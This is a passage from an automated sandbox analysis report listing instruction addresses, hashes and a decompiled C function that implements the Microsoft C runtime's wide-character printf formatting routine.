0x004350d6
0x00000000
0x00000000
0x00000000
0x00434cd7
0x00434cd7
0x00434ce3
0x00434ce9
0x00434cee
0x00434cf0
0x00434d9a
0x00434d9d
0x00434d9d
0x00434da0
0x00434db4
0x00434dba
0x00434dc0
0x00434da2
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434cf6
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d1c
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d40
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d46
0x00434d4d
0x00434d95
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00000000
0x00434d8a
0x00000000
0x00000000
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c0a
0x00434c10
0x00434c77
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb1
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434cc6
0x00434ccc
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c45
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c52
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00000000
0x00434f8b
0x00434f8b
0x00434ffa
0x00434ffa
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350ba
0x004350bf
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509f
0x004350a4
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435079
0x0043507e
0x00435084
0x00435085
0x0043508b
0x00435059
0x0043505d
0x00435062
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x00435030
0x00435035
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435008
0x0043500d
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d6
0x00000000
0x00000000
0x00000000
0x004350d6
0x00000000
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00434ffa
0x00434ffa
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350ba
0x004350bf
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509f
0x004350a4
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435079
0x0043507e
0x00435084
0x00435085
0x0043508b
0x00435059
0x0043505d
0x00435062
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x00435030
0x00435035
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435008
0x0043500d
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d6
0x00000000
0x00000000
0x00000000
0x004350d6
0x00000000
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x0043548d
0x00435494
0x004354ab
0x004354ab
0x004354b5
0x004354b5
0x004354bb
0x004354c1
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e5
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354eb
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x00435496
0x00435496
0x0043549d
0x00000000
0x00000000
0x0043549f
0x0043549f
0x00000000
0x0043549f
0x00435282
0x00435259
0x00435259
0x0043525d
0x0043526a
0x00435270
0x00435276
0x0043527c
0x0043527c
0x0043527f
0x00000000
0x0043527f
0x0043525f
0x00435265
0x00435268
0x00000000
0x00000000
0x00000000
0x00435268
0x004351c1
0x004351c4
0x004351ce
0x004351dd
0x004351e6
0x004351fc
0x00435202
0x00435208
0x0043520f
0x00435217
0x00435217
0x0043521d
0x0043521d
0x0043522c
0x00435234
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x00000000
0x004351b1
0x004351a3
0x004350e3
0x004350e3
0x004350ea
0x00000000
0x00000000
0x00000000
0x00435118
0x0043511e
0x0043512a
0x00000000
0x0043512a
0x00434ffa

APIs

_get_int64_arg.LIBCMTD ref: 00435008
__aullrem.LIBCMT ref: 004351D5
__aulldiv.LIBCMT ref: 004351F7

Strings

9, xrefs: 00435208

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: f12da80046bf1b5ba626866afe5b7383698ee46fb8240d541bc73d50a342df15
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: 9541C171D11A29DFEF64CF48CC99BAEB7B5BB48304F24959AD409A7240D7389E81CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043C22D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C22D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428360(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428360(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428360(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428360(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428380(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428380(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430780(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00430800( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C3D0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C804))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043C910( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E210();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D00(_t586))) = 0x16;
																						E00422A90(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041ACB0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BCB0(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E210();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041ACB0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422D00(_t578))) = 0x16;
																				E00422A90(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041ACB0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043C970(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043C9B0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043C970(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043C9B0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041ACE0(_t672 - 0x40);
																				_t539 = E0043B410(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043C910( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
